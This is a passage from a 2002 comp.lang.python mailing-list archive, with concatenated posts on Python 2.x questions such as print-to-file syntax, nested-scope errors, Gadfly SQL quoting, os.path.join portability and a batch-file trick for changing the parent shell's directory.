people who know the > history of changes in Python. And only people using pre-2.0 > would be confused, since you can always try that line out > to see what it says. > > It's not a joke in that multi-parameter append truely is no > longer allowed. > > Andrew > dalke at dalkescientific.com > > > From tchur at optushome.com.au Sun May 19 16:16:11 2002 From: tchur at optushome.com.au (Tim Churches) Date: Mon, 20 May 2002 06:16:11 +1000 Subject: Python and IIS References: <1021653047.71194.0@demeter.uk.clara.net> <6wTF8.59111$i42.42478@atlpnn01.usenetserver.com> Message-ID: <3CE8080B.8B9A168@optushome.com.au> "Robert Plant" <robert.plant at clara.co.uk> wrote in message > I would like to configure IIS 5 to use python cgi scripts. Somewhat related to this: a few weeks ago I took the time to read the license for Windows 2000 Server, and was surprised to find that a Client Access License is required for each authenticated user of IIS (or any other Web server, such as Apache?) running on Windows 2000 Server. That was (is) not the case with the Windows NT Server license. Details at http://www.microsoft.com/windows2000/server/howtobuy/pricing/changes.asp Tim C From tl_news at nexgo.de Thu May 16 16:24:15 2002 From: tl_news at nexgo.de (Tino Lange) Date: Thu, 16 May 2002 22:24:15 +0200 Subject: which db should I use? References: <mtanba.i1f.ln@127.0.0.1> <mailman.1021261941.23977.python-list@python.org> <5oonba.f4l.ln@127.0.0.1> <5asvba.8ha.ln@217.11.196.198> <3CE3C6D3.A94E7629@engcorp.com> Message-ID: <7358eu4sajahjibovl2m5p1coa11s0t01o@4ax.com> On Thu, 16 May 2002 10:48:51 -0400, Peter Hansen <peter at engcorp.com> wrote: >Tino Lange wrote: >> >> >> Firebird database >> >> A Python interface is available, of course, >> Hi! >> >> Where can I find that Python interface? > >Hmmm, didn't Google work this time? > >http://www.google.com/search?q=python+firebird+database > >-Peter Of course works google! There I find some links to a third-party module names kinterbasdb. Maybe it's this? But originally David has written >> Have a look >> at http://firebird.sourceforge.net/ and http://www.ibphoenix.com/ >> A Python interface is available, of course, as well as a Zope database >> adapter. This sounds more like an "official" Python API to me, not like just "googling" for something available. But on those pages I could not find anything about Python integration. Tino From duncan at NOSPAMrcp.co.uk Fri May 31 10:44:00 2002 From: duncan at NOSPAMrcp.co.uk (Duncan Booth) Date: Fri, 31 May 2002 14:44:00 +0000 (UTC) Subject: Persistent Directory Change? References: <UaLJ8.12059$W04.578566@twister.rdc-kc.rr.com> Message-ID: <Xns921F9F02826B6duncanrcpcouk@127.0.0.1> "Dave Butler" <davebutlerREMOVE at hotmail.com> wrote in news:UaLJ8.12059$W04.578566 at twister.rdc-kc.rr.com: > I have a need for the current directory from a Python script to > persist after the script ends. Is this possible? A simple approach > such as > > -------------------- > import os > > print os.getcwd() > os.chdir(r'f:\temp') > print os.getcwd() > -------------------- > > does not work. It seems the directory change occurs in the Python > process, but not in the command prompt which called it. That is the normal behaviour for most systems: changes in a program's environment do not affect the environment of the parent process. Not that windows really has a parent/child relationship between processes... > > I am using Python 2.1 under Windows 2000. > > Any suggestions for accomplishing this? Oops, I think I just dropped something on the keyboard. Read it and weep: ----- begin perverse.cmd ------ @call :run %* & goto :EOF ''' :run @echo off for %%p in (python.exe) do ( for /F "tokens=1*" %%q in ('%%~$PATH:p -x "%~f0" %*') do %%q %%r ) goto :EOF ''' import sys commandstream = sys.stdout sys.stdout = sys.stderr # Anything printed to commandstream will be interpreted print "Directory changing script" print "Arguments:", str.join(" ", sys.argv) print >>commandstream, "cd \\" ----- end perverse.cmd ----- BTW, this needs to find python.exe on your path. -- Duncan Booth duncan at rcp.co.uk int month(char *p){return(124864/((p[0]+p[1]-p[2]&0x1f)+1)%12)["\5\x8\3" "\6\7\xb\1\x9\xa\2\0\4"];} // Who said my code was obscure? From philh at comuno.freeserve.co.uk Tue May 28 15:28:42 2002 From: philh at comuno.freeserve.co.uk (phil hunt) Date: Tue, 28 May 2002 20:28:42 +0100 Subject: Thought on PEP 204 and 276 References: <ckp4fuc4fskjcpilnn2mrt3665fqvld92g@4ax.com> <mailman.1022528744.19859.python-list@python.org> <gm17fu40rh6r675g3a6d1ovl49tb9pd822@4ax.com> Message-ID: <slrnaf7mj9.dfe.philh@comuno.freeserve.co.uk> On Tue, 28 May 2002 14:45:30 +0100, Steve Horne <steve at lurking.demon.co.uk> wrote: >On Mon, 27 May 2002 21:33:47 +0200, holger krekel ><pyth at devel.trillke.net> wrote: > >> for i,item in enumerate(somelist): >> # use item >> somelist[i]=newvalue > >Could enumerate(dictionary) be used to extract key, value pairs from a >dictionary? > >I realise this duplicates the items() method, but it has the advantage >of creating consistency between sequence and mapping types. > >Also, why wasn't an items() method simply added to sequence types, >treating them as mapping types with an integer key? That would seem to me the obvious way to do it. People who've used Smalltalk will appreciate how it has a hierarchy of abstract superclasses for collections, including: Collection - any collection KeyedCollection - any collection that can be accessed by a key IndexedCollection - any keyed collection where the keys are the range of integers 0..n for some n. To me, this makes sense, and it'd be nice if Python did it, if not in the actual classes, at least in them having the right interfaces. KeyedCollection would expect its subclasses to define a keys() method, which returns all the keys, and would define methods such as has_key() and items() which call the keys() method: class KeyedCollection: def has_key(self, k): return k in self.keys() def items(self): result = [] for k in self.keys() result.append([k, self[k]]) return result def get(self, k, default =None): if self.has_key(k): return self[k] else: return default This would haver the benefit that if you define your own subclasses of KeyedCollection, you would only have to write a keys() method, and all the others already work -- or you could re-implement them for efficiency. -- <"><"><"> Philip Hunt <philh at comuno.freeserve.co.uk> <"><"><"> <"><"><"> My website has moved -- new address is: <"><"><"> <"><"><"> <http://www.comuno.freeserve.co.uk/> <"><"><"> From mlh at vier.idi.ntnu.no Sun May 5 00:53:21 2002 From: mlh at vier.idi.ntnu.no (Magnus Lie Hetland) Date: Sun, 5 May 2002 04:53:21 +0000 (UTC) Subject: Returning Fault instances in xmlrpc References: <slrnad7d3f.ns6.mlh@vier.idi.ntnu.no> <vPKa0KAM9708Ew9x@jessikat.fsnet.co.uk> Message-ID: <slrnad9em1.3d1.mlh@vier.idi.ntnu.no> In article <vPKa0KAM9708Ew9x at jessikat.fsnet.co.uk>, Robin Becker wrote: [snip] >I think raising the Fault on the server is the correct thing to do for >python servers. The server xmlrpclib frameworks seem to trap unhandled >exceptions and turn them into Faults. But why aren't Fault objects returned when I explicitly return them from my functions? Shouldn't it either be illegal to return them or equivalent to raising them? >I've just been looking at a Delphi client and there I see code that >looks like > > > if rtn.IsError then > begin > showmessage('Error:' + rtn.GetErrorString); > result := false; > exit; > end; > >and this pops up a message box and shows the Fault message. Not sure exactly what this says about the Python lib ;) The specification says nothing about exceptions -- only Fault objects. I'm just curious about how they interact with Python exceptions, and how you are supposed to use them in the standard xmlrpclib. Maybe I'll just have to read the source. <sigh> Anyway, thanks for your input. >-- >Robin Becker -- Magnus Lie Hetland The Anygui Project http://hetland.org http://anygui.org From wyojustin at hotmail.com Sat May 18 15:19:34 2002 From: wyojustin at hotmail.com (Justin Shaw) Date: Sat, 18 May 2002 19:19:34 GMT Subject: Newbie: print-to-file-Syntax References: <mailman.1021745730.10043.python-list@python.org> Message-ID: <9PxF8.25893$th.2379667@bin2.nnrp.aus1.giganews.com> Sabine, You are close. Note the comma: print >> PROT, "Printed String" In order to get the exact behavior of PROT.write('Printed String') you would need a comma at the end too: print >> PROT, 'Printed String', On the other question, I tried this in IDLE >>> print >> None, 'test' test >>> So it seem to work fine. Be sure to remember the comma! Justin "Sabine Richter" <sabine at textraeume.de> wrote in message news:mailman.1021745730.10043.python-list at python.org... > Hello, > > I looked the syntax up in the python doc, but nevertheless, I don't > understand it. What's wrong? > > PROT=open("c:\\existing_dir\\prot.txt",'w') > PROT.write("Written String") > print >> PROT "Printed String" > print PROT "Printed String" > > PROT.close() > > --> Written String has been written. But for the print-Statements I get > a syntax error message > > > And a second question: > > Is it possible to write: > PROT=None > print... print-to-file-syntax > > Later, I want to print to file, but now I want to print to STDOUT. > The doc says: If the first expression evaluates to None, then sys.stdout > is used as the file for output. > > > Thanks in advance > Sabine > > From aleax at aleax.it Sat May 11 04:52:29 2002 From: aleax at aleax.it (Alex Martelli) Date: Sat, 11 May 2002 08:52:29 GMT Subject: Scope in 2.2.1 References: <mailman.1021103426.15802.python-list@python.org> Message-ID: <hZ4D8.29954$CN3.915681@news2.tin.it> David LeBlanc wrote: > The 2.2.1 Python doc in Appendix A1 says: > "If a name binding operation occurs anywhere within a code block, all uses > of the name within the block are treated as references to the current > block. This can lead to errors when a name is used within a block before > it is bound." > > def foo(): #block > bar = 0 #binding > > bar now is a reference to foo? Somehow, I doubt that! Right -- the wording of A1 may not be optimal here. > My other question pertaining to this paragraph is: what errors can occur > if a name is used before it's bound? NameError, or its subclass UnboundLocalError specifically. > My other question is illustrated by this code: > >>>> def foo(): > ... bar = 0 > ... bar2 = 0 > ... def fee(): > ... print bar > ... bar2 += 1 > ... print bar2 > ... fee() > ... >>>> foo() > 0 > Traceback (most recent call last): > File "<stdin>", line 1, in ? > File "<stdin>", line 8, in foo > File "<stdin>", line 6, in fee > UnboundLocalError: local variable 'bar2' referenced before assignment > > Is the bar in "print bar" the bar of foo(), or is it an unbound bar? It's "the bar of foo" since the block of fee has no binding operations on it so nested local scopes apply. > Is foo.bar2 the bar2 in fee() or is it a new local fee.bar2? The traceback The bar2 in fee is a local variable of bar2 because the body of fee includes the binding operation "bar2 +=". Actually, all augmented assignments can only ever *RE*-bind their LHS, so the compiler might be able to diagnose the error if a block's only binding operations on a name are augmented assignments -- in theory. > implies that the "print bar" statement used foo.bar, yet it blew up on > incrementing bar2! Yes, because bar comes from outer scope (since there is no binding operation on it) but bar2 is a local (since there IS a binding op on it). > (Note: the error reporting seems misleading, since "+=" > is an assignment no?) It's an access, "perhaps" followed by an assignment (which is why it can only ever re-bind, or alter -- never bind anew a name that was not bound before...: because first it must access that name's present binding). The reference (access) is indeed before any assignment. Alex From shalehperry at attbi.com Sat May 25 17:53:03 2002 From: shalehperry at attbi.com (Sean 'Shaleh' Perry) Date: Sat, 25 May 2002 14:53:03 -0700 (PDT) Subject: Why no libpython2.x.so in redhat? In-Reply-To: <c3835e5f.0205251343.257a1570@posting.google.com> Message-ID: <XFMail.20020525145303.shalehperry@attbi.com> On 25-May-2002 Chris Fonnesbeck wrote: > I'm looking for someone out there who develops on RedHat who can help > me out: Why are there no libpython .so files on the redhat builds? It > is creating problems for me when trying to run python embedded in C. > It seems that my program looks for the .so files, and not finding > them, dies. I get segfaults all the time. I'm already pissed at > Redhat for their persistance with Python1.5.2, but I would hate to > change distros just over this. Any help most appreciated. are there no 'libpython1.5.so'? or 'libpython1.5.so.0.0'? The pure '.so' is usually only needed for compiling programs the .so.version is the one which makes prgrams happy when linked against it. They may have a python-runtime package or something you need to install. From tdelaney at avaya.com Mon May 13 03:07:53 2002 From: tdelaney at avaya.com (Delaney, Timothy) Date: Mon, 13 May 2002 17:07:53 +1000 Subject: proto-PEPs: __bind__ and __return__? Message-ID: <B43D149A9AB2D411971300B0D03D7E8BF0A2EE@natasha.auslabs.avaya.com> > From: James T. Dennis [mailto:jadestar at idiom.com] I'm going to ignore the proposal itself right now, but I do want to look at a few points which I think would make this proposal more pythonic. > What if we created two special methods: __bind__ and __return__ > which are (if present) invoked by the assignment operator. If You never specify what __return__ is meant to do ... > >>> class Constant(object): > ... def __bind__(self,target): > ... if unbound('self'): > ... self=target > ... else: > ... raise ConstantError, 'Cannot rebind to constant' > >>> a = Constant(5) > >>> a = 6 > Traceback (most recent call last): > File "<stdin>", line 1, in ? > ConstantError: Cannot rebind to constant The __bind__ method would need to return the object that should be bound to the name. class Constant (object): def __bind__ (self, target): return self # will always rebind to itself class Constant (object): def __bind__ (self, target): raise ConstantError, 'Cannot rebind to constant' Otherwise you are just attempting to rebind the name 'self', which would invoke infinite recursion. Plus, returning what you want to bind would be the more pythonic way to do it. unbound() could only work with anonymous instances ... in which case, __bind__ would not be called (because __bind__ would only be called when rebinding, which means the object must have previously been bound). The only case where this would not be the case would be in sequence (tuple) unpacking ... and that is already defined (binding to the names declared in the anonymous sequence). So unbound() is both useless and unfeasible. I think __rebind__ would be a better name - unambiguous. > >>> class ConstrainType(object): > ... def __bind__(self,target): > ... if unbound('self') or isinstance(target,self.__class__): > ... self=target > ... else: > ... raise ValueError, 'Type Constraint Violated' class ConstrainType(object): def __bind__(self,target): if isinstance(target,self.__class__): return target else: raise ValueError, 'Type Constraint Violated' Tim Delaney From peter at engcorp.com Sat May 25 18:08:48 2002 From: peter at engcorp.com (Peter Hansen) Date: Sat, 25 May 2002 18:08:48 -0400 Subject: String problem References: <20020526.064829.1504569917.16939@iprimus.com.au> Message-ID: <3CF00B70.3CB8A2AD@engcorp.com> Occean wrote: > > Assume that you have an text article. [snip] > you have to read the article into a string called str [snip] > The problem is when you read the article in the string > you have to put "\n\" at the end of each line in order to let the system > know the new line. For example: > str = ' Paint my love, you should paint my love\n\ > It's a picture of thousand sunset \n\ > \n\ > It's a freedom of , a thousand doves\n\' Your question is unclear. When you "read the article into a string" do you mean you are reading it from a file? In that case, the newlines ('\n') should already be on the end of each line. Do you mean you are creating the string statically in the program itself, sort of as in your example? In that case, use the triple-quoted string syntax (after all, you're example above won't work anyway since you have an apostrophe in the middle): str = '''Paint my love, you should paint my love It's a picture of a thousand sunset It's a freedom of, a thousand doves ''' That string will include the newlines as well. Another alternative is this: str = ["Paint my love, you should paint my love", "It's a picture of a thousand sunset", "", "It's a freedom of, a thousand doves", ] str = '\n'.join(str) + '\n' (or, on Python 1.5.2, use str = string.join(str, '\n') + '\n' ) I've added the extra '\n' at the end because your example had it, but you probably don't really need it. -Peter From spenrose at intersight.com Wed May 22 13:50:06 2002 From: spenrose at intersight.com (Sam Penrose) Date: Wed, 22 May 2002 10:50:06 -0700 Subject: Gadfly: single-quote in varchar? Message-ID: <59CC5D6A-6DAC-11D6-8804-003065B33450@intersight.com> I cannot get Gadfly to INSERT a string containing a single-quote (') into a VARCHAR field. Gadfly appears to insist that strings passed to its parsing framework be delimited with single quotes: >>> cursor.execute("INSERT INTO t (Description) VALUES ('alpha')") NOT >>> cursor.execute('INSERT INTO t (Description) VALUES ("alpha")') which may or may not be connected, (and rules out the obvious 'INSERT INTO t (Description) VALUES ("alpha's before beta")') but at any rate no variation on >>> cursor.execute("INSERT INTO t (Description) VALUES ('alpha\'s before beta')") >>> cursor.execute("INSERT INTO t (Description) VALUES ('alpha\\'s before beta')") >>> cursor.execute("INSERT INTO t (Description) VALUES ('alpha\\\'s before beta')") seems to work, although some fail silently, neither raising an error or inserting the row. Description has been defined as a VARCHAR field and happily accepts strings with other punctuation, including double-quotes. Anyone know if this is a Gadfly constraint, or notice some dunderheaded mistake I'm making? Gadfly 1.0.0rc1, Unix python 2.2 on Mac OS X. TIA, Sam From cbbrowne at acm.org Sat May 25 19:18:31 2002 From: cbbrowne at acm.org (Christopher Browne) Date: 25 May 2002 23:18:31 GMT Subject: Backwards emulation rather than backwards compatibility? References: <3CEF8E04.6040909@ix.netcom.com> <mailman.1022364102.10713.python-list@python.org> Message-ID: <acp646$8if6b$3@ID-125932.news.dfncis.de> Quoth Tim Churches <tchur at optushome.com.au>: > I'm not sure how such a meta-interpreter would deal with already > compiled bytecode - is there a version stamp in the bytecode? Wouldn't it be easier to simply change the first line to: #!/usr/bin/python1.5 ???? -- (concatenate 'string "chris" "@cbbrowne.com") http://www.cbbrowne.com/info/ Rules of the Evil Overlord #71. "If I decide to test a lieutenant's loyalty and see if he/she should be made a trusted lieutenant, I will have a crack squad of marksmen standing by in case the answer is no." <http://www.eviloverlord.com/> From mcherm at destiny.com Thu May 23 09:55:09 2002 From: mcherm at destiny.com (Michael Chermside) Date: Thu, 23 May 2002 09:55:09 -0400 Subject: os.path.join() necessary? Message-ID: <3CECF4BD.9070903@destiny.com> Thomas Guettler > Is os.path.join() necessary? I use > absolute_path=dir + "/" + file > on windows (W2K) without problems. Michael Hudson: > Try it on the Mac. Thomas Guettler > I would, but have not Mac or MacOSX here. > Can you try it? Michael Hudson: > No, but I can tell you what will happen (in Classic, at least): it > won't work. MacOS <=9 uses colons as path separators. I think that Thomas is trying to point out is that the path separator on Windows is '\' (instead of '/' or ':'). He noticed that the underlying C libraries (I *think* that's what does it) will silently convert '/' to '\' for him, (and I think it even takes care of the 'C:' stuff that Windows wants at the front of the path) so he can avoid the complexity of having to use os.path.join(). I think it would be a nice feature of a programming language that all file-and-path names are expressed using '/' within the language and automatically converted to the platform-appropriate format by the language itself (and paths obtained from the OS are converted to '/' format also). Unfortunately, as far as I know, Python is not that language. I *think* (someone more knowledgable please correct me if I'm wrong) that "wierd" OSes like VMS (and there's MUCH wierder stuff out there) don't do this conversion. Unix & friends don't need it, Windows DOES do the conversion, and I don't know about Macs. But for TRUE portability, I believe you still have to deal with os.path.join(). -- Michael Chermside From kragen at pobox.com Tue May 14 00:01:54 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 14 May 2002 00:01:54 -0400 Subject: downloading cgi advice References: <3CDAFA76.9050508@nmt.edu> Message-ID: <83znz3idhp.fsf@panacea.canonical.org> Jeff Shipman <shippy at nmt.edu> writes: My goodness! Are you related to John Shipman? Do you know my cousin Ben Sittler? He's in town this week, on vacation. > # Determine size of file > try: > s = os.stat(BASEDIR+'/'+loc) You're computing the filename in a couple of places. Why don't you open it first and then fstat the opened filehandle? It'll eliminate a race condition, which will make the code easier to test (and possibly more secure, if you use the stat data to e.g. check ownership). Also, you can probably put them inside a single try-except. You should probably use os.path.join if there's a possibility you might ever want to run this on a non-UNIX system (as your 'rb' in open suggests you think you might.) And, of course, be careful about what 'loc' contains. Very careful. Things to keep in mind on Unix are symlinks, .., double slashes, etc. > size = int(s[6]) I'd import stat and use stat.ST_SIZE instead of 6. > except OSError: > errmsg('Couldn\'t stat() file!') I'd except OSError, err and include err in the error message; and I'd try to distinguish 404 from other errors for user convenience. > print 'Content-disposition: attachment; filename=%s\n'\ Cute! Do browsers actually support the filename=%s parameter? In the past, I'd used a redirect to the same script with different parameters (including some PATH_INFO, e.g. /foo/download.cgi/item3.tar.gz) to hint to the browser about what the file should be. > This seems to work fine, but I'm just wanting > to make sure that I'm not doing anything that > could be wrong here. Not really, no. From simon at nospam.demon.co.uk Sat May 4 18:49:50 2002 From: simon at nospam.demon.co.uk (Simon Foster) Date: Sat, 4 May 2002 23:49:50 +0100 Subject: making python scripts backwards compatible References: <mailman.1020548168.26227.python-list@python.org> Message-ID: <3cd4658f$0$8507$cc9e4d1f@news.dial.pipex.com> "Brian Quinlan" <brian at sweetapp.com> wrote in message news:mailman.1020548168.26227.python-list at python.org... > 2. How much effort should have been expended to make sure that all > modules shipped as part of Python 2.2 work with Python x.y? I think the answer from the "group" would be None. 2.2 breaks things. From jdhunter at nitace.bsd.uchicago.edu Fri May 17 17:34:10 2002 From: jdhunter at nitace.bsd.uchicago.edu (John Hunter) Date: Fri, 17 May 2002 16:34:10 -0500 Subject: how to list elements line by line? References: <mailman.1021636769.32502.python-list@python.org> Message-ID: <m2u1p68nn1.fsf@video.paradise.lost> >>>>> "magni2k" == magni2k <magni2k at uni.de> writes: magni2k> Hi, I have a problem. How can I list all the elements in magni2k> my serverlist.txt seperate. That means line by line! So magni2k> that I can call for example: List only the Hostnames! And magni2k> on the other hand that I can call for example: List magni2k> only the 1st Hostname, then the 2nd and so on! (If its magni2k> possible with the sys.argv argument!) Anybody an idea # This lists the lines one by one fh = open('somefile.txt') for line in fh.readlines(): print line, # This prints the 3rd line lines = open('somefile.txt').readlines() print lines[2] For the record, the syntactical element to end sentences in English is the period. Tschuss, John Hunter From whisper at oz.net Tue May 21 18:18:05 2002 From: whisper at oz.net (David LeBlanc) Date: Tue, 21 May 2002 15:18:05 -0700 Subject: cross platform method of accessing a running process In-Reply-To: <94yG8.1161$cQ3.267@sccrnsc01> Message-ID: <GCEDKONBLEFPPADDJCOEMEOJDDAA.whisper@oz.net> You might also want to take a look at spread. GvR just posted an announcement about his python wrapping for it: "I've released version 1.2 of the Spread Module for Python: http://www.python.org/other/spread/ " David LeBlanc Seattle, WA USA > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of Seth Russell > Sent: Tuesday, May 21, 2002 13:27 > To: python-list at python.org > Subject: Re: cross platform method of accessing a running process > > > "Geoff Gerrietts" <geoff at gerrietts.net> wrote in message > news:mailman.1021661370.756.python-list at python.org... > > Quoting Seth Russell (seth at robustai.net): > > > I want to have a python process always running on my machine, > but allow > cgi > > > processes to come in and access that process. How do I do this in a > manner > > > that will work on all platforms ? What python modules will support > this? > > > > I might be wrong (don't think I am), but I believe the only way to do > > this in a truly cross-platform manner is to do it via sockets. You > > open a socket in your long-running process and accept requests. The > > SocketServer module is one of your choices. > > > > Some higher-level protocols, like FastCGI, exist. You may find that > > FastCGI, or something like XML-RPC, allows you to do the sorts of > > things you're looking to do without having to invent a whole protocol > > for information exchange. You might also check into Pyro and Twisted; > > those frameworks provide some functionality overlapping with what > > you're interested in. > > > > More details on what you want will naturally increase the quality of > > the answers you receive. > > Thanks for your informative reply ... it got me thinking in the right > direction. I ended up making a http server class based on the standard > BaseHTTPServer. Hopefully this will end up being a semantic web > client\server. > > Anybody want to help ... > http://robustai.net/mentography/httpBot.py > > Seth Russell > > > > -- > http://mail.python.org/mailman/listinfo/python-list From ritchie at fnal.gov Thu May 9 18:05:27 2002 From: ritchie at fnal.gov (David J. Ritchie) Date: Thu, 09 May 2002 17:05:27 -0500 Subject: Python vs. Perl, which is better to learn? References: <mailman.1020697330.27346.python-list@python.org> <3CDAA5A5.D4077E5C@fnal.gov> <abeate$2fo$1@panix1.panix.com> <3CDAB85B.C49BABD9@fnal.gov> <abedn5$9tc$1@panix1.panix.com> <mailman.1020973101.22346.python-list@python.org> Message-ID: <3CDAF2A7.2DADEB14@fnal.gov> Gerhard H?ring wrote: > ... > > Aahz, I don't get it why you're insisting on this. Would "refactoring" > ring any bells? > > Yes, I do it myself, and yes, it's a non-issue with vim. > > Gerhard In any case, I am reluctant to drag everyone through my imperfect programming practices as useful as I find them....my main point was that if context sensitivity is considered to be a difficulty in understandability in programming languages (of which Perl has some) then (in the spirit of being able to argue both sides of the question as a way of proving that one has thought through the issues), it seems that Python has a context sensitivity difficulty in the area of the treatment of tabs as identifying blocks of code. I agree that one can address the matter with suitable editor functionality. -- David J. Ritchie ritchie at fnal.gov http://home.fnal.gov/~ritchie/ http://home.mindspring.com/~djrassoc01/ From s997659 at ee.cuhk.edu.hk Fri May 31 00:12:54 2002 From: s997659 at ee.cuhk.edu.hk (Geiger Ho) Date: Fri, 31 May 2002 12:12:54 +0800 Subject: Where can I find .join() in the docs In-Reply-To: <Xns921EA4D606532duncanrcpcouk@127.0.0.1> References: <newscache$0hdxwg$4oi$1@www-neu.dzsh.de> <Xns921E94C146F70duncanrcpcouk@127.0.0.1> <newscache$7ohxwg$ncj$1@www-neu.dzsh.de> <Xns921EA4D606532duncanrcpcouk@127.0.0.1> Message-ID: <Pine.GSO.4.05.10205311207480.14497-100000@sparc41> Hi all, I would like to know how could I modify the following code so that it can be a function in a module? I've tried. But the interpreter warns me that no __dic__ attribute in __builtins__. Also, how can I know how many namespaces I create in an environment and how can I modify the code so that it can show what is in a specific namespace. Thanks in advance. Regards, Geiger On Thu, 30 May 2002, Duncan Booth wrote: > You might find this useful as it shows you what is really in builtins, not > what is documented: > >>> def showNamespace(namespace=None): > '''Summarise namespace contents''' > if namespace is None: namespace = __builtins__.__dict__ > names = {} > # Build a dictionary mapping type to list of names > for k, v in namespace.items(): > names.setdefault(type(v), []).append(k) > # Extract typename and name lists into a list > items = [(t.__name__, v) for t, v in names.items()] > items.sort() # Sort by typename > # Print out the variables categorised by type > for k, v in items: > print "%s:" % k, ", ".join(v) > print > From theller at python.net Wed May 8 15:04:12 2002 From: theller at python.net (Thomas Heller) Date: Wed, 8 May 2002 21:04:12 +0200 Subject: Comments References: <mailman.1020875534.17637.python-list@python.org> <Xns92087A57CBCBERASXnewsDFE1@130.133.1.4> Message-ID: <abbsru$guqgp$1@ID-59885.news.dfncis.de> "Philip Swartzleonard" <starx at pacbell.net> wrote in message news:Xns92087A57CBCBERASXnewsDFE1 at 130.133.1.4... > > I removed the extra blank lines manually. Unfortuantly if you try to do > something like this without the extra padding > > def foo: > # A comment that is longer than fill length > c=1 > c=2 > pass > > [Hitting C-q] You'll get > > def foo: # A comment that is > longer than fill length c=1 > c=2 pass > > ... Is there a way to make emacs ignore lines that wouldn't be > considered comments by the language when wrapping? No answer from here :-( The same happens with triple quoted strings, unfortunately. Barry? Thomas From skip at pobox.com Thu May 9 23:43:43 2002 From: skip at pobox.com (Skip Montanaro) Date: Thu, 9 May 2002 22:43:43 -0500 Subject: Which GUI Library to Use In-Reply-To: <CEEPIKGCPKMFIKBEHCNFEEFGCOAA.lists@weissinger.org> References: <Xns920A1C906ACC3cliechtigmxnet@62.2.16.82> <CEEPIKGCPKMFIKBEHCNFEEFGCOAA.lists@weissinger.org> Message-ID: <15579.16879.73951.944557@12-248-41-177.client.attbi.com> Keyton> I am beginning work on what will likely turn into a fairly large Keyton> GUI-based application and would like your thoughts on which Keyton> library to use: Keyton> A) Tk Only Keyton> B) Tk with Python Mega-widgets or similar (i.e. Tk with some other stuff) Keyton> C) Qt (BlackAdder just announced the incorporation of Qt3 into BA) Keyton> D) wxPython Don't forget PyGtk (with or without Glade): http://www.daa.com.au/~james/pygtk/ Grab it here: http://www.gnome.org/~james/ Go directly to PyGtk 1.99.x and Gtk+ 2.0. -- Skip Montanaro (skip at pobox.com - http://www.mojam.com/) "Excellant Written and Communications Skills [required]" - post to chi.jobs From s.schwarzer at ndh.net Wed May 15 08:20:04 2002 From: s.schwarzer at ndh.net (Stefan Schwarzer) Date: Wed, 15 May 2002 14:20:04 +0200 Subject: Beginner question References: <abtf2e$22i$1@venus.telepac.pt> <3ce244e4$0$205$e4fe514c@dreader3.news.xs4all.nl> Message-ID: <3CE25274.CCC7E2FE@ndh.net> Hello Luis and Boudewijn Boudewijn Rempt wrote: > Luis Fernandes wrote: > > Is Python a good language for large database applications? > > Yes. Obviously, a too-short question provokes an answer of the same kind. :-) Luis, your question is a bit general. What do you mean by "large database applications"? Would you, for example, use Python to access a large database "in" a database server, or would you like to use Python to do complicated processing of a lot of data, or what? Please tell us more about your application, so the answers can be more specific. Stefan From philh at comuno.freeserve.co.uk Sun May 19 18:54:23 2002 From: philh at comuno.freeserve.co.uk (phil hunt) Date: Sun, 19 May 2002 23:54:23 +0100 Subject: Where to find python code beautifier ? References: <ac8njl$svqc$1@engel.scvmaxonline.com.sg> <aUSF8.70042$Ze4.7491453@bin5.nnrp.aus1.giganews.com> <mailman.1021845691.1546.python-list@python.org> Message-ID: <slrnaegb8v.ego.philh@comuno.freeserve.co.uk> >[Terry Reedy] > >> There is no need for one. We write our Python code pretty in the >> first place. Indeed, in python, ugly code is a syntax error! -- <"><"><"> Philip Hunt <philh at comuno.freeserve.co.uk> <"><"><"> "I would guess that he really believes whatever is politically advantageous for him to believe." -- Alison Brooks, referring to Michael Portillo, on soc.history.what-if From thp at cs.ucr.edu Fri May 3 23:39:28 2002 From: thp at cs.ucr.edu (thp at cs.ucr.edu) Date: Sat, 4 May 2002 03:39:28 +0000 (UTC) Subject: Python vs. Perl, which is better to learn? References: <mailman.1020147892.13578.python-list@python.org> <m3bsbybdnl.fsf@chvatal.cbbrowne.com> <aass1m$3b8@web.eng.baileynm.com> <m3offy6i7k.fsf@chvatal.cbbrowne.com> <aaurk6$rir@web.eng.baileynm.com> Message-ID: <aavl5g$jf0$1@glue.ucr.edu> In comp.lang.misc Peter da Silva <peter at abbnm.com> wrote: [...] : C++ is horribly complex because the original design was a more or less : pragmatic scheme to support object oriented programming in a non-object- : oriented language. So, exactly which parts do you consider to be superfluous? [...] : Then to try : and simplify things people have developed standard libraries... which : are rather nice in a lot of ways... on top of that. The problem is : that you really do need to understand an awful lot of stuff to understand : that those libraries are really doing. So, which of the things that "need to be understood" do you consider superfluous? : The original C++ was a really nifty idea like Ratfor was a really nifty : idea. It should have stayed a short term solution, like Ratfor, and been : superceded by better designs as time went on. ... but we only got Java? Tom Payne From Dick.Zantow at lexisnexis.com Thu May 30 11:51:35 2002 From: Dick.Zantow at lexisnexis.com (rzed) Date: Thu, 30 May 2002 11:51:35 -0400 Subject: !!! 2.1, 2.2, 2.2.1, PYTHON BUGS ???? References: <ad5c62$77l$1@wanadoo.fr> Message-ID: <ad5hsh$74f$1@mailgate2.lexis-nexis.com> "Franck Abella" <fabella at free.fr> wrote in message news:ad5c62$77l$1 at wanadoo.fr... > Hi, > > Math problem: > ----------- 1 ------------- > try this >>>> i=7/3.0 > >>>> i > > result >>>> 7.3333333333333335 (first problem it should be equal > to 7.3333333333333334) If it really says this, then there is a problem, all right. But I'm supposing it's a typo for 2.3333... > ----------- 2 -------------- > try this >>>> i = 7.3335 > >>>> j > result >>>>7.3334999999999999 (false) > ------------ 3 ------------- > try this >>>> j = 6.2 > >>>> j > result >>>> 6.2000000000000002 > > I would like to know if yo have those problems > Thanks > > Frank > > > > > From g893404 at oz.nthu.edu.tw Tue May 14 08:37:44 2002 From: g893404 at oz.nthu.edu.tw (Joshua, Y.J. Lai) Date: Tue, 14 May 2002 20:37:44 +0800 Subject: How to solve diophantine problems? References: <abp8bb$vs$1@thccy25.nthu.edu.tw> <TQXD8.31658$Po6.14894@rwcrnsc52.ops.asp.att.net> <EF9D274DA8540EF1.D12AA7084B83AAA2.1A9250647A55D036@lp.airnews.net> Message-ID: <abr0dq$fsm$1@thccy25.nthu.edu.tw> "Cameron Laird" <claird at starbase.neosoft.com> wrote in message news:EF9D274DA8540EF1.D12AA7084B83AAA2.1A9250647A55D036 at lp.airnews.net... > In article <TQXD8.31658$Po6.14894 at rwcrnsc52.ops.asp.att.net>, > Emile van Sebille <emile at fenx.com> wrote: > >Joshua, Y.J. 